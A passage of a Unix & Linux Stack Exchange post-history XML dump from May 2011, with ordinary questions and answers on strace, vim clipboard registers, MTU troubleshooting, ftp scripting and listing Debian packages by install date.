(for must or required&#xD;&#xA;&gt; directive violations), minor, normal&#xD;&#xA;&gt; or important (for should or&#xD;&#xA;&gt; recommended directive violations) and&#xD;&#xA;&gt; wishlist (for optional items).&#xD;&#xA;&#xD;&#xA;Unfortunately, Debian is these days showing an increasing and regrettable tendency to ignore RC bugs, even in the stable distribution." />
  <row Id="30811" PostHistoryTypeId="2" PostId="12561" RevisionGUID="504b1566-0745-439c-a520-8a7d62cf7b10" CreationDate="2011-05-03T21:37:05.777" UserId="885" Text="You can obtain a lot of information about a program by calling it under [`strace`](http://en.wikipedia.org/wiki/Strace). This shows every system call that the program makes, which can be too much information sometimes, but can be a big help to find what's going wrong.&#xD;&#xA;&#xD;&#xA;Approach one is to run your big application under `strace`. This is likely to produce a lot of output and slow your application down.&#xD;&#xA;&#xD;&#xA;    strace -s9999 -efile,process -f -o bigapp.strace bigapp&#xD;&#xA;&#xD;&#xA;If the big application is interactive, you may prefer to start it, and connect strace to it once you're ready to trigger the calculations. Note the application's process ID, say 12345, and run&#xD;&#xA;&#xD;&#xA;    strace -s9999 -efile,process -f -o bigapp-calculations.strace -p12345&#xD;&#xA;&#xD;&#xA;If it's enough to observe that external executable, then as&#xD;&#xA; [other](http://unix.stackexchange.com/questions/12505/intercept-input-and-output-from-specific-executable/12509#12509) [answers](http://unix.stackexchange.com/questions/12505/intercept-input-and-output-from-specific-executable/12540#12540) have already suggested, replace that executable by a wrapper script. You can move the executable to a different name and put the wrapper script in its place, or put the wrapper script ahead of the usual executable in the `PATH`, or configure the application to call your wrapper script instead of the usual executable, whatever is convenient. Make that wrapper script&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    exec strace -s9999 -efile -o auxapp-$$.strace /path/to/original/executable &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;Explanation of the strace parameters used:&#xD;&#xA;&#xD;&#xA;* `-e` selects the [system calls](http://en.wikipedia.org/wiki/System_call) to trace. You can specify system calls by name or use a few categories such as `file` (`open`, `close`, `read`, `write`, …) and `process` (`fork`, `execve`, …).&#xD;&#xA;* `-f` makes strace follows [forks](http://en.wikipedia.org/wiki/Fork_%28operating_system%29), i.e. trace subprocesses as well as the original process.&#xD;&#xA;* `-o` selects the name of the file containing the trace. `$$` is a shell construct that stands for the process ID of the shell process (due to the use of `exec` in the last wrapper script, that will also be the auxiliary application's process ID).&#xD;&#xA;* `-s9999` makes it display that many bytes for `read` and `write` and other calls.&#xD;&#xA;" />
  <row Id="30812" PostHistoryTypeId="2" PostId="12562" RevisionGUID="d7169540-9a2f-40f6-a161-50dd1a4d1507" CreationDate="2011-05-03T21:55:01.043" UserId="7188" Text="See Mike Schiraldi's [Hilite][1] which does this for one command at a time.&#xD;&#xA;My own [gush][2] does this for a whole session, but also has a lot of other features/idiosyncracies that you might not want.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://directory.fsf.org/project/hilite/&#xD;&#xA;  [2]: http://wiki.tcl.tk/23446" />
  <row Id="30813" PostHistoryTypeId="2" PostId="12563" RevisionGUID="65af55d8-5583-4cb7-9b63-4ea08ee85fc7" CreationDate="2011-05-03T22:11:32.120" UserId="7117" Text="I've got a usb pen drive that miraculously I installed grub4dos, and it works, I can start some iso's like MSDart, etc.&#xD;&#xA;&#xD;&#xA;I've decided put Tiny Core Linux in the usb stick, then I downloaded the latest iso from tinycore website, xcopy the .iso to usb stick and.. it doesn't works...&#xD;&#xA;&#xD;&#xA;I think that I need to extract the iso files in a folder and to ask to grub4dos load that folder, but I'm a big beginner on linux world, then I don't know how I do it...&#xD;&#xA;&#xD;&#xA;Someone can help me? " />
  <row Id="30814" PostHistoryTypeId="1" PostId="12563" RevisionGUID="65af55d8-5583-4cb7-9b63-4ea08ee85fc7" CreationDate="2011-05-03T22:11:32.120" UserId="7117" Text="Multiboot, Live Tiny Core and grub4dos" />
  <row Id="30815" PostHistoryTypeId="3" PostId="12563" RevisionGUID="65af55d8-5583-4cb7-9b63-4ea08ee85fc7" CreationDate="2011-05-03T22:11:32.120" UserId="7117" Text="égrubàédualöbootà" />
  <row Id="30816" PostHistoryTypeId="2" PostId="12564" RevisionGUID="1495f850-3dd6-433a-990c-f9733981e5b9" CreationDate="2011-05-03T22:17:23.213" UserId="885" Text="When the [x86_64 a.k.a. amd64](http://en.wikipedia.org/wiki/X86-64) architecture was introduced in the Linux kernel tree, it was in a separate subtree from i386. So there was [`arch/i386/kernel/trampoline.S`](http://lxr.linux.no/#linux+v2.6.23/arch/i386/kernel/trampoline.S) on one side and [`arch/x86_64/kernel/trampoline.S`](http://lxr.linux.no/#linux+v2.6.23/arch/x86_64/kernel/trampoline.S) on the other side.&#xD;&#xA;&#xD;&#xA;[The two architectures were merged in 2.6.24](http://lwn.net/Articles/243704/). This was done because there was a lot of code in common — after all, all x86-64 processors are x86 processors. At the time, ppc and ppc64 were already together, and it was decided to merge x86 and x86-64 as well, into a single [`x86`](http://lxr.linux.no/#linux+v2.6.24/arch/x86/) architecture.&#xD;&#xA;&#xD;&#xA;Some files are specific to one or the other subarchitectures, so the two versions remain alongside each other: [`arch/x86/kernel/trampoline_32.S`](http://lxr.linux.no/#linux+v2.6.24/arch/x86/kernel/trampoline_32.S) [moved from `arch/i386/kernel/trampoline.S`](http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.27.y.git;a=history;f=arch/x86/kernel/trampoline_32.S;h=d8ccc3c6552f60f85bd50de1d4e6c68548261ae7;hb=666bc219c81eeaf90cb6171dcfee4ef322abcde3), and [`arch/x86/kernel/trampoline_64.S`](http://lxr.linux.no/#linux+v2.6.24/arch/x86/kernel/trampoline_64.S) [moved from `arch/x86_64/kernel/trampoline.S`](http://git.kernel.org/?p=linux/kernel/git/stable/linux-2.6.27.y.git;a=history;f=arch/x86/kernel/trampoline_64.S;h=894293c598db62fe6b23a365d048c8a6225a8285;hb=666bc219c81eeaf90cb6171dcfee4ef322abcde3).&#xD;&#xA;" />
  <row Id="30817" PostHistoryTypeId="6" PostId="12557" RevisionGUID="8a8103ac-3fb2-4f63-8cc6-8f4032e5affc" CreationDate="2011-05-03T22:21:38.513" UserId="885" Comment="edited tags" Text="élinuxàékernelà" />
  <row Id="30818" PostHistoryTypeId="2" PostId="12565" RevisionGUID="9c1f83ac-c7a6-4b6a-b0d0-7b22cee9e7ad" CreationDate="2011-05-03T22:39:05.047" UserId="668" Text="There are actually two options for this:&#xD;&#xA;&#xD;&#xA;    &quot;+y&#xD;&#xA;&#xD;&#xA;copies to the &quot;usual&quot; clipboard buffer (so you can paste using Ctrl+V, right click and select &quot;Paste&quot; etc), while&#xD;&#xA;&#xD;&#xA;    &quot;*y&#xD;&#xA;&#xD;&#xA;copies to the X11 selection - you can paste from this buffer using middle click.&#xD;&#xA;&#xD;&#xA;Note that `&quot;*` and `&quot;+` work both ways. So if you have selected some text in another application, you can paste it into vim using `&quot;*p` and if you have copied some text (using, say, Ctrl-C) then you can paste it into vim using `&quot;+p`." />
  <row Id="30819" PostHistoryTypeId="2" PostId="12566" RevisionGUID="65cd733f-c9e7-4ac8-b765-1f55a6c2de83" CreationDate="2011-05-03T22:43:44.927" UserId="885" Text="Yes, it's possible. You'll have to be very careful with the library load paths, and you may need to recompile some other libraries.&#xD;&#xA;&#xD;&#xA;As the path of least friction, I recommend installing an older version of Debian or Ubuntu in a [chroot](http://en.wikipedia.org/wiki/Chroot). That is, make a directory, say `/old/etch`, and install the older distribution in the tree rooted there; to run that problematic program, call `chroot` to restrict its view of the filesystem to `/old/etch`.&#xD;&#xA;&#xD;&#xA;Debian (or Ubuntu) comes with a package to assist with installing another system in a chroot: [dchroot](http://packages.debian.org/dchroot). First, use [debootstrap](http://wiki.debian.org/Debootstrap) to install the older distribution (install only the base system and what your program needs, no servers). Then set up dchroot to run the program conveniently (with `/dev`, `/proc`, `/home` and whatever else you need accessible).&#xD;&#xA;&#xD;&#xA;So the plan is: debootstrap, then dchroot. Both parts are too complex to write a simple walkthrough, but the documentation has reasonable explanations and examples in both cases. You can come back to this site if you need more specific assistance along the way.&#xD;&#xA;" />
  <row Id="30820" PostHistoryTypeId="5" PostId="4319" RevisionGUID="0d688784-341c-4d70-9467-45da62d93dac" CreationDate="2011-05-03T22:47:46.780" UserId="885" Comment="reference Mike Pennington's answer on http://unix.stackexchange.com/questions/11107#12463" Text="You have the symptoms of an [**MTU**](http://en.wikipedia.org/wiki/Maximum_transmission_unit) problem: some TCP connections freeze, more or less reproducibly for a given command or URL but with no easily discernible overall pattern. A telltale symptom is that interactive ssh sessions work well but file transfers almost always fail. Furthermore pppoe is the number one bringer of MTU problem for home users. So I prescribe an MTU check.&#xD;&#xA;&#xD;&#xA;**What is it?**&#xD;&#xA;The &lt;strong&gt;m&lt;/strong&gt;aximum &lt;strong&gt;t&lt;/strong&gt;ransmission &lt;strong&gt;u&lt;/strong&gt;nit is the maximum size of a packet over a network link. The MTU varies from transport medium to transport medium, e.g. wired Ethernet and wifi (802.11) have different MTUs, and [ATM](http://en.wikipedia.org/wiki/Asynchronous_Transfer_Mode) links (which make up most of the long-distance infrastructure) each have their own MTU.&#xD;&#xA;[PPPOE](http://en.wikipedia.org/wiki/Point-to-Point_Protocol_over_Ethernet) is an encapsulated protocol, which means that every packet consists of a few bytes of header followed by the underlying packet — so it lowers the maximum packet size by the size of the header.&#xD;&#xA;[IP](http://en.wikipedia.org/wiki/Internet_Protocol) allows routers to fragment packets if they detect that they're too big for the next hop, but this doesn't always work. In theory the proper MTU should be discovered [automatically](http://en.wikipedia.org/wiki/Path_MTU_discovery), but this also doesn't always work either. In particular googling suggests that Network Manager doesn't always properly act on MTU information obtained from MTU discovery, but I don't know what versions are affected or what the problematic use cases are.&#xD;&#xA;&#xD;&#xA;**How to measure it.**&#xD;&#xA;Try sending ping packets of a given size to an outside hosts that responds to them, e.g. `ping -c 1 -s 42 8.8.8.8` (on Linux; on other systems, look up the documentation of your `ping` command). Your packets should get through for small enough values of 42 (if 42 doesn't work, something is blocking pings.). For larger values, the packet won't get through. 1464 is a typical maximum value if the limiting piece of infrastructure is your local Ethernet network. If you're lucky, when you send a too large packet, you'll see a message like `Frag needed and DF set (mtu = 1492)`. If you're not lucky, just keep experimenting with the value until you find what the maximum is, then add 28 (`-s` specifies the payload size, and there are 28 bytes of headers in addition to that).&#xD;&#xA;See also [How to Optimize your Internet Connection using MTU and RWIN](http://ubuntuforums.org/showthread.php?t=872346) on the Ubuntu forums.&#xD;&#xA;&#xD;&#xA;**How to set it** (replace 1454 by the MTU you have determined, and `eth0` by the name of your network interface)&#xD;&#xA;&#xD;&#xA;* As a once-off (Linux):&#xD;&#xA;run `ifconfig eth0 mtu 1454`&#xD;&#xA;* Permanently (Debian and derivatives such as Ubuntu, if not using Network Manager):&#xD;&#xA;Edit `/etc/network/interfaces`. Just after the entry for your network interface (after the `iface eth0 …` directive), add a line with `pre-up ifconfig $IFACE mtu 1454`. Alternatively, if your IP address is static, you can add the `mtu 1454` parameter to the `iface eth0 inet static` directive.&#xD;&#xA;* Permanently (Debian and derivatives such as Ubuntu, with or without Network Manager):&#xD;&#xA;Create a script called `/etc/network/if-pre-up.d/mtu` with the following contents and make it world-executable (`chmod a+rx`):&#xD;&#xA;&#xD;&#xA;        #!/bin/sh&#xD;&#xA;        ifconfig $IFACE mtu 1454&#xD;&#xA;&#xD;&#xA;**Further resources**&#xD;&#xA;&#xD;&#xA;* http://unix.stackexchange.com/questions/11107/how-to-diagnose-a-reliably-unreliable-connection (particularly [Mike Pennington's answer](http://unix.stackexchange.com/questions/11107/how-to-diagnose-a-reliably-unreliable-connection/12463#12463)) may be of assistance if the simple measure-and-limit approach described here doesn't work.&#xD;&#xA;" />
  <row Id="30821" PostHistoryTypeId="2" PostId="12567" RevisionGUID="b26c84e6-6990-4727-9fbb-1dcb8ce4c2b0" CreationDate="2011-05-03T22:49:50.403" UserId="7189" Text="Just to add a non-vim-specific answer: You can use Ctrl+Shift+C to copy to the system clipboard in Ubuntu (the functionality is from gnome-terminal). Ctrl+Shift+V pastes.&#xD;&#xA;&#xD;&#xA;Additionally, if you select the text in the terminal, then middle-click, it will be pasted from the X11 clipboard." />
  <row Id="30824" PostHistoryTypeId="2" PostId="12569" RevisionGUID="1c5b0e85-f06c-4b02-8a47-94d0cafde978" CreationDate="2011-05-03T23:05:49.097" UserId="1925" Text="You've got a couple contradictory things going on there. You can make a file system on the whole disk without a partition, but if you want to go that route (not particularly recommended for physical hardware, more useful for virtual drives) then you need to delete the partition first.&#xD;&#xA;&#xD;&#xA;I would suggest deleting the partition, writing to disk, then creating again and writing. Something about the partition table isn't-quite-right. I can't put my finger on what but recreating it from scratch using default options is the best thing I can think of.&#xD;&#xA;&#xD;&#xA;If that fails, create the partition a few blocks in from each end of the disk. Start at block 10 and end $total-20 or something like that and see if it goes." />
  <row Id="30825" PostHistoryTypeId="2" PostId="12570" RevisionGUID="3c7e1447-59bd-41f9-a172-1ea0daa5ba15" CreationDate="2011-05-03T23:10:59.500" UserId="3454" Text="Is there a way to shebang-ify ftp and write small ftp scripts?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/ftp&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;    quit&#xD;&#xA;&#xD;&#xA;Any thoughts?" />
  <row Id="30826" PostHistoryTypeId="1" PostId="12570" RevisionGUID="3c7e1447-59bd-41f9-a172-1ea0daa5ba15" CreationDate="2011-05-03T23:10:59.500" UserId="3454" Text="ftp and shebang" />
  <row Id="30827" PostHistoryTypeId="3" PostId="12570" RevisionGUID="3c7e1447-59bd-41f9-a172-1ea0daa5ba15" CreationDate="2011-05-03T23:10:59.500" UserId="3454" Text="éshellàéshellöscriptàéftpà" />
  <row Id="30828" PostHistoryTypeId="2" PostId="12571" RevisionGUID="00acb3b0-c279-4c95-a512-1e65b8ec5d51" CreationDate="2011-05-03T23:19:19.317" UserId="4398" Text="If you are using vim &gt;=7.3.74, then you can actually put this in your vimrc: &#xD;&#xA;&#xD;&#xA;    set clipboard=unnamedplus&#xD;&#xA;&#xD;&#xA;Which will automatically use the `+` buffer (the system clipboard) by default. Then to yank (copy), you just use the regular `y` command, etc. &#xD;&#xA;&#xD;&#xA;I found this behavior to be fairly annoying, though, as commands like `d` put the text they operate on into the default buffer, which meant I couldn't do a fast `dd` and paste a line from the internet, for example. " />
  <row Id="30829" PostHistoryTypeId="2" PostId="12572" RevisionGUID="0c1ed751-cc76-430f-a218-89bc5202b1bd" CreationDate="2011-05-03T23:26:23.690" UserId="885" Text="Set the “External Browser” option to&#xD;&#xA;&#xD;&#xA;    sh -c 'echo &quot;$0&quot; | xsel'&#xD;&#xA;&#xD;&#xA;You can use `xsel -b` to use the clipboard instead of the primary selection. An alternative to [xsel](http://www.vergenet.net/~conrad/software/xsel/) is [xclip](http://xclip.sourceforge.net) (`xclip` for the primary selection, `xclip -selection CLIPBOARD` for the clipboard).&#xD;&#xA;&#xD;&#xA;In `~/.w3m/config`, that's the `extbrowser` setting.&#xD;&#xA;&#xD;&#xA;Then [press `M`](http://w3m.sourceforge.net/MANUAL#Key:orig) to copy (yank) the URL of the current page, or `ESC M` to copy the URL of the link under the cursor.&#xD;&#xA;&#xD;&#xA;You can use the second or third external browser for that instead; then the key combination is `2 M` or `3 M` or `2 ESC M` or `3 ESC M`.&#xD;&#xA;" />
  <row Id="30830" PostHistoryTypeId="2" PostId="12573" RevisionGUID="0faa75b7-754a-46be-9333-89a37a0137aa" CreationDate="2011-05-03T23:51:52.657" UserId="885" Text="Not with the `ftp` programs I've run into, as they expect a script on their standard input but a shebang would pass the script name on their command line.&#xD;&#xA;&#xD;&#xA;You can use a [here document](http://en.wikipedia.org/wiki/Here_document) to pass a script to `ftp` through a shell wrapper.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    ftp &lt;&lt;EOF&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;[Lftp](http://lftp.yar.ru/) accepts a script name passed as an argument.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/lftp&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;&#xD;&#xA;[Ncftp](http://www.ncftpd.com/ncftp/) comes with two tools `ncftpget` and `ncftpput` for simple batches of gets or puts.&#xD;&#xA;&#xD;&#xA;[Zsh](http://www.zsh.org/) includes an [FTP module](http://zsh.sourceforge.net/Doc/Release/Zsh-Modules.html#The-zsh_002fzftp-Module). Using a proper shell rather than a straight FTP script has the advantage that you can react to failures.&#xD;&#xA;&#xD;&#xA;    #!/bin/zsh&#xD;&#xA;    zmodload zsh/zftp&#xD;&#xA;    open 192.168.1.1&#xD;&#xA;    put *.gz&#xD;&#xA;&#xD;&#xA;Of course there are plenty of other languages you could use: Perl, Python, Ruby, etc.&#xD;&#xA;&#xD;&#xA;Another approach is to mount the FTP server as a directory, and then use `cp` (or `rsync` or other tools) to copy files. There are many [FUSE](http://fuse.sourceforge.net/) filesystems for FTP access, principally [CurlFtpFS](http://curlftpfs.sourceforge.net/) and [LftpFS](http://lftpfs.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;Note that if you were planning to use authentication, you'd be better off with SSH access. It's more secure and more flexible. To copy files over SSH, you can use `scp` or `sftp`, or [rsync](http://rsync.samba.org/) for efficient synchronization (if some of the files may already be there), or [Unison](http://www.cis.upenn.edu/~bcpierce/unison/download/stable/) (for bidirectional synchronization), or mount with [SshFS](http://fuse.sourceforge.net/sshfs.html).&#xD;&#xA;" />
  <row Id="30831" PostHistoryTypeId="25" PostId="12570" RevisionGUID="575e174f-5430-4f87-be3e-ac1f156ef145" CreationDate="2011-05-04T00:11:22.960" Comment="http://twitter.com/#!/StackUnix/status/65569169961263104" />
  <row Id="30833" PostHistoryTypeId="5" PostId="12551" RevisionGUID="943b0820-1129-45a2-acff-96daefa13040" CreationDate="2011-05-04T01:36:27.247" UserId="5770" Comment="a bit more info to better ask the question - sorry" Text="I'm finding myself in a terminal more and more often these days as I learn to do certain types of things quicker or more conveniently.&#xD;&#xA;&#xD;&#xA;However, when it comes to copying a large amount of data (i.e. hundreds of gigabytes) from one HDD to another, I always revert to the GUI (Nautilus or Finder in my case; the file systems are ext4 or HFS+).&#xD;&#xA;&#xD;&#xA;What I have in mind is the initial copying of data to a new larger HDD that's replacing an older one, or to an external back-up HDD.&#xD;&#xA;&#xD;&#xA;Are there any tangible benefits to be had using terminal commands in this setting? If so, what are they?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Sometimes with these large GUI copies it'll get tripped up somewhere along the way due to a corrupt file or for some other reason. I guess I was wondering if terminal commands, rather than the GUI method, can avoid this problem. It's often quite difficult to determine where the GUI copy has got to, where to resume, and which files are causing the issues.&#xD;&#xA;&#xD;&#xA;To my eyes at least, these copies seem a little bit random as to where they start and end." />
  <row Id="30834" PostHistoryTypeId="5" PostId="12555" RevisionGUID="487c331f-49a1-46f3-b1da-e9f25adcf2b9" CreationDate="2011-05-04T02:06:18.050" UserId="3513" Comment="added 258 characters in body" Text="I recently upgraded an openSUSE 11.3 install to 11.4 by downloading the DVD, burning it, &amp; chosing the upgrade option upon booting to it. I used all the upgrade defaults. Upon coming back up, I added the FreeNX zypper repository &amp; installed the latest FreeNX. Connecting via FreeNX works, but I'm not able to see any window menus on any of my applications. They get stuck to the top left corner of the screen &amp;/or they don't have the window border surrounding the window (as in the top bar that contains the minimize/maximize buttons).&#xD;&#xA;&#xD;&#xA;I've verified it's not a user problem because I created a new user &amp; logged in as the user for the first time &amp; it still happened to that user too.&#xD;&#xA;&#xD;&#xA;*** EDIT ***&#xD;&#xA;&#xD;&#xA;Client is OS X 10.6.7 using NX Client by NoMachine, ver 3.4.0-8.  I should also point out I have other servers running FreeNX that still work fine, none of which are openSUSE 11.4 however.  I think it is an openSUSE 11.4 specific problem." />
  <row Id="30835" PostHistoryTypeId="5" PostId="12567" RevisionGUID="07f1ebe8-2246-49df-a6b8-60830a275952" CreationDate="2011-05-04T02:42:28.470" UserId="7189" Comment="added 123 characters in body" Text="Just to add a non-vim-specific answer: You can use `Ctrl+Shift+C` to copy to the system clipboard in Ubuntu (if the functionality is provided by your terminal emulator, gnome-terminal for one provides it). `Ctrl+Shift+V` pastes to another terminal window, regular `Ctrl+V` pastes to a GUI app.&#xD;&#xA;&#xD;&#xA;Additionally, if you select the text in the terminal, then middle-click, it will be pasted from the X11 clipboard." />
  <row Id="30836" PostHistoryTypeId="25" PostId="12557" RevisionGUID="7a2ac583-52a1-44bf-bfd6-146362b1de0f" CreationDate="2011-05-04T03:11:22.940" Comment="http://twitter.com/#!/StackUnix/status/65614468809359361" />
  <row Id="30837" PostHistoryTypeId="2" PostId="12575" RevisionGUID="f79a4f97-4b20-43e9-b55d-f32017cd9490" CreationDate="2011-05-04T03:50:02.237" UserId="7136" Text="You might find that it is awkward to use the command line for moving large amounts of files from one directory or drive to another because you're not using the right tools. Something like rsync or rsnapshot is generally the preferred way to do this. I have a little homebrew bash script that uses rsync to do exactly this and it works quite well, much better than the available GUI options of point-click-and-drag the directory in my opinion.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Rsync" />
  <row Id="30838" PostHistoryTypeId="2" PostId="12576" RevisionGUID="8f63b414-350b-40e8-83e1-55b8a6ca8cfe" CreationDate="2011-05-04T04:56:31.303" UserId="1049" Text="Is there a standard way to make a program start when a user logs in?&#xD;&#xA;&#xD;&#xA;On Ubuntu, for example, you can place a `.desktop` file in `~/.config/autostart` and the application will launch on startup.&#xD;&#xA;&#xD;&#xA;Does this apply to other distros as well?" />
  <row Id="30839" PostHistoryTypeId="1" PostId="12576" RevisionGUID="8f63b414-350b-40e8-83e1-55b8a6ca8cfe" CreationDate="2011-05-04T04:56:31.303" UserId="1049" Text="Is there a standard way to have a program start when a user logs in on Linux?" />
  <row Id="30840" PostHistoryTypeId="3" PostId="12576" RevisionGUID="8f63b414-350b-40e8-83e1-55b8a6ca8cfe" CreationDate="2011-05-04T04:56:31.303" UserId="1049" Text="éloginàéstartupàéstandardà" />
  <row Id="30841" PostHistoryTypeId="2" PostId="12577" RevisionGUID="35f6db5c-bd26-485b-828a-5ad7486825ef" CreationDate="2011-05-04T05:03:38.027" UserId="7011" Text="I am running Gnome. I would like to execute a shortcut key combination from the command line. For example, type a command that generates the key codes for Ctrl+Alt+Left.&#xD;&#xA;&#xD;&#xA;Does anyone know of a way to do this?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="30842" PostHistoryTypeId="1" PostId="12577" RevisionGUID="35f6db5c-bd26-485b-828a-5ad7486825ef" CreationDate="2011-05-04T05:03:38.027" UserId="7011" Text="How to execute shortcut keys from command line?" />
  <row Id="30843" PostHistoryTypeId="3" PostId="12577" RevisionGUID="35f6db5c-bd26-485b-828a-5ad7486825ef" CreationDate="2011-05-04T05:03:38.027" UserId="7011" Text="élinuxàécommandölineàékeyboardöshortcutsà" />
  <row Id="30844" PostHistoryTypeId="2" PostId="12578" RevisionGUID="e2b128ec-214e-4f92-bd93-c04cbb56ae54" CreationDate="2011-05-04T05:43:32.153" UserId="1262" Text="How can I list installed packages by installation date? I installed a lot of stuff to compile a certain piece of code, and I want to get a list of the required packages, which are the ones I installed in the last few days.&#xD;&#xA;&#xD;&#xA;I need to do that on debian/ubuntu, but answers for other distributions would be nice as well." />
  <row Id="30845" PostHistoryTypeId="1" PostId="12578" RevisionGUID="e2b128ec-214e-4f92-bd93-c04cbb56ae54" CreationDate="2011-05-04T05:43:32.153" UserId="1262" Text="List packages by installation date" />
  <row Id="30846" PostHistoryTypeId="3" PostId="12578" RevisionGUID="e2b128ec-214e-4f92-bd93-c04cbb56ae54" CreationDate="2011-05-04T05:43:32.153" UserId="1262" Text="édebianàépackageömanagementàéaptà" />
  <row Id="30847" PostHistoryTypeId="2" PostId="12579" RevisionGUID="ea680983-693a-49eb-8f5a-536a830a11b0" CreationDate="2011-05-04T06:09:23.747" UserId="3169" Text="RPM-based distributions are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;With dpkg, I can't see any `date` or `installed` field in the `dpkg-query` man page, so maybe processing `/var/log/dpkg.log` is the best option." />
  <row Id="30848" PostHistoryTypeId="25" PostId="12577" RevisionGUID="3cb31a6c-5fcb-4694-a340-6d2f8fee07ee" CreationDate="2011-05-04T06:11:23.090" Comment="http://twitter.com/#!/StackUnix/status/65659768420831232" />
  <row Id="30849" PostHistoryTypeId="5" PostId="12579" RevisionGUID="72365e03-0089-4c66-b42f-10e667708921" CreationDate="2011-05-04T06:14:40.673" UserId="3169" Comment="added 185 characters in body" Text="RPM-based distributions like Red Hat are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;With Debian and dpkg, I can't see any `date` or `installed` field in the `dpkg-query` man page, so maybe processing `/var/log/dpkg.log` is the best option.&#xD;&#xA;&#xD;&#xA;Or [this thread](http://www.debianadmin.com/debianubuntu-package-management-using-dpkg.html/comment-page-1#comment-2391) suggests `ls -t /var/lib/dpkg/info`." />
  <row Id="30853" PostHistoryTypeId="5" PostId="12579" RevisionGUID="cc1b7c68-de0f-4465-a201-05953e63682e" CreationDate="2011-05-04T06:53:05.717" UserId="3169" Comment="added 443 characters in body; added 80 characters in body" Text="RPM-based distributions like Red Hat are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;On Debian and other dpkg-based distributions, your specific problem is easy too:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log&#xD;&#xA;&#xD;&#xA;Unless the log file has been rotated, in which case you should try:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log /var/log/dpkg.log.1&#xD;&#xA;&#xD;&#xA;In general, `dpkg` and `apt` don't seem to track the installation date, going by the lack of any such field in the `dpkg-query` man page, and eventually old `/var/log/dpkg.log.*` files will be deleted by log rotation.&#xD;&#xA;&#xD;&#xA;One suggestion that appears a few times (e.g. [this thread](http://www.debianadmin.com/debianubuntu-package-management-using-dpkg.html/comment-page-1#comment-2391)) is to look at the `/var/lib/dpkg/info` directory.&#xD;&#xA;&#xD;&#xA;Having a look at the files there suggests you might want something like:&#xD;&#xA;&#xD;&#xA;    ls -t /var/log/dpkg/info/*.list | sed -e 's/\.list$//' | head -n 50&#xD;&#xA;" />
  <row Id="30854" PostHistoryTypeId="5" PostId="12579" RevisionGUID="d0153fc5-0f78-4f63-8807-54add632f942" CreationDate="2011-05-04T07:13:20.897" UserId="3169" Comment="fix missing tab in sed part" Text="RPM-based distributions like Red Hat are easy:&#xD;&#xA;&#xD;&#xA;    rpm -qa --last&#xD;&#xA;&#xD;&#xA;On Debian and other dpkg-based distributions, your specific problem is easy too:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log&#xD;&#xA;&#xD;&#xA;Unless the log file has been rotated, in which case you should try:&#xD;&#xA;&#xD;&#xA;    grep install /var/log/dpkg.log /var/log/dpkg.log.1&#xD;&#xA;&#xD;&#xA;In general, `dpkg` and `apt` don't seem to track the installation date, going by the lack of any such field in the `dpkg-query` man page.&#xD;&#xA;&#xD;&#xA;And eventually old `/var/log/dpkg.log.*` files will be deleted by log rotation, so that way isn't guaranteed to give you the entire history of your system.&#xD;&#xA;&#xD;&#xA;One suggestion that appears a few times (e.g. [this thread](http://www.debianadmin.com/debianubuntu-package-management-using-dpkg.html/comment-page-1#comment-2391)) is to look at the `/var/lib/dpkg/info` directory.&#xD;&#xA;&#xD;&#xA;Having a look at the files there suggests you might want something like:&#xD;&#xA;&#xD;&#xA;    ls -t /var/log/dpkg/info/*.list | sed -e 's/\.list$//' | head -n 50&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;To answer your question about selections, here's a first pass:&#xD;&#xA;&#xD;&#xA;    find /var/lib/dpkg/info -name &quot;*.list&quot; -exec stat -c &quot;%n      %y&quot; {} \; | sed -e 's,/var/lib/dpkg/info/,,' -e 's,\.list\t,\t,' | sort &gt; ~/dpkglist.dates&#xD;&#xA;&#xD;&#xA;    dpkg --get-selections | sed -ne '/    install$/{s/[[:space:]].*//;p}' | sort &gt; ~/dpkglist.selections&#xD;&#xA;&#xD;&#xA;    join -1 1 -2 1 -t '   ' ~/dpkglist.selections ~/dpkglist.dates &gt; ~/dpkglist.selectiondates&#xD;&#xA;&#xD;&#xA;For some reason it's not printing very many differences for me, so there might be a bug or an invalid assumption about what `--get-selections` means.&#xD;&#xA;&#xD;&#xA;You can obviously limit the packages either by using `find . -mtime -&lt;days&gt;` or `head -n &lt;lines&gt;`." />
